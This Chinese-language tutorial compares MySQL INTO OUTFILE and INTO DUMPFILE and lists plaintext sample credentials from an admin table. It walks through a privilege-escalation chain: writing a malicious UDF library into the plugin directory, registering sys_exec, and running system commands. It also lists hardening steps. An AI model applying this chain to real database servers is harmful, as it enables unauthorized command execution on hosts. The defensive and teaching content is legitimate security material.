| 特性 | INTO OUTFILE | INTO DUMPFILE |
|---|---|---|
| 用途 | 導出**文本數據**(CSV/TSV/自定義格式),適合備份、遷移、分析 | 導出**原始二進制流**,適合寫入文件(如 UDF 動態庫、圖片、加密數據) |
| 行結束符 | 自動寫入 \\n(可由 LINES TERMINATED BY 控制) | **不寫入任何行結束符** |
| 字段分隔/包裹 | 支援 FIELDS TERMINATED BY、ENCLOSED BY、ESCAPED BY | **不做任何字段處理**,原樣輸出 |
| 轉義處理 | 對特殊字符(\\n、\\t、\\\\、引號)按 ESCAPED BY 轉義 | **零轉義**,二進制安全 |
| 輸出行數 | **所有匹配行**(每行一條記錄) | **僅第一行**(若查詢返回多行,僅寫入第一行,其餘丟棄) |
| 典型場景 | SELECT * INTO OUTFILE '/tmp/data.csv' FIELDS TERMINATED BY ',' | SELECT UNHEX('...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so' |
admin+-----+-----------+---------+
| uid | name | pass |
+-----+-----------+---------+
| 1 | admin | baidusb |
| 2 | root | hacksb |
| 3 | manage | nimei |
| 4 | boss | helensb |
| 5 | guanli | admin |
| 6 | superuser | G0Ood |
+-----+-----------+---------+
INTO OUTFILE 導出全表SELECT * FROM admin INTO OUTFILE '/home/seclab/test/test1.txt';
-- 結果:6 行文本,每行以 \\n 結尾,字段間以 Tab 分隔(默認)
-- 適合:導庫、數據遷移、Excel 導入
INTO DUMPFILE 僅導出第一行SELECT * FROM admin INTO DUMPFILE '/home/seclab/test/test2.bin';
-- 結果:僅寫入第一行 "1\\tadmin\\tbaidusb" 的原始字節,**無換行符**
-- 後 5 行數據丟失!
假設要將編譯好的 udf.dll(或 .so)寫入插件目錄:
-- 錯誤示範:OUTFILE 會破壞二進制
SELECT UNHEX('4D5A9000...') INTO OUTFILE '/usr/lib/mysql/plugin/udf.dll';
-- 後果:每行結尾被加 \\n,內部 0x0A 被轉義,PE 頭損壞,LoadLibrary 失敗
-- 正確做法:DUMPFILE 原樣寫入
SELECT UNHEX('4D5A9000...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.dll';
-- 結果:完整可執行的二進制文件,可被 CREATE FUNCTION ... SONAME 載入
攻擊鏈:
root 權限(弱口令、提權、注入)。SHOW VARIABLES LIKE 'plugin_dir' 獲取插件目錄。SELECT UNHEX(<udf_hex>) INTO DUMPFILE '<plugin_dir>/evil.dll' 寫入惡意 UDF。CREATE FUNCTION sys_exec RETURNS STRING SONAME 'evil.dll' 註冊系統命令執行函數。SELECT sys_exec('whoami') 獲取系統 Shell。防禦措施:
FILE 權限:GRANT FILE ON *.* TO 'app'@'%' **極其危險**,生產嚴禁授予應用賬號。secure_file_priv 限制導入導出目錄(MySQL 5.6+ 默認開啟)。chown root:root /usr/lib/mysql/plugin && chmod 755,禁止 MySQL 進程寫入。INTO OUTFILE/DUMPFILE 操作。-- 本地環境讀取已有 UDF 文件並輸出 HEX
SELECT HEX(LOAD_FILE('c:/windows/temp/udf.dll')) INTO OUTFILE 'c:/windows/temp/udf_hex.txt';
打開 udf_hex.txt 即為完整十六進制字符串,可直接用於上述 UNHEX() 注入。
.dll/.so,搜索導出函數名(如 sys_exec、sys_eval)。strings udf.dll | grep -i sys 快速提取。INTO OUTFILE 是「文本導出器」,INTO DUMPFILE 是「二進制寫入器」。兩者**行數處理、轉義策略、用途場景截然不同**,混用會導致數據損壞或安全災難。運維同學務必牢記:導庫備份用 OUTFILE,寫二進制文件用 DUMPFILE,且嚴防 FILE 權限濫用。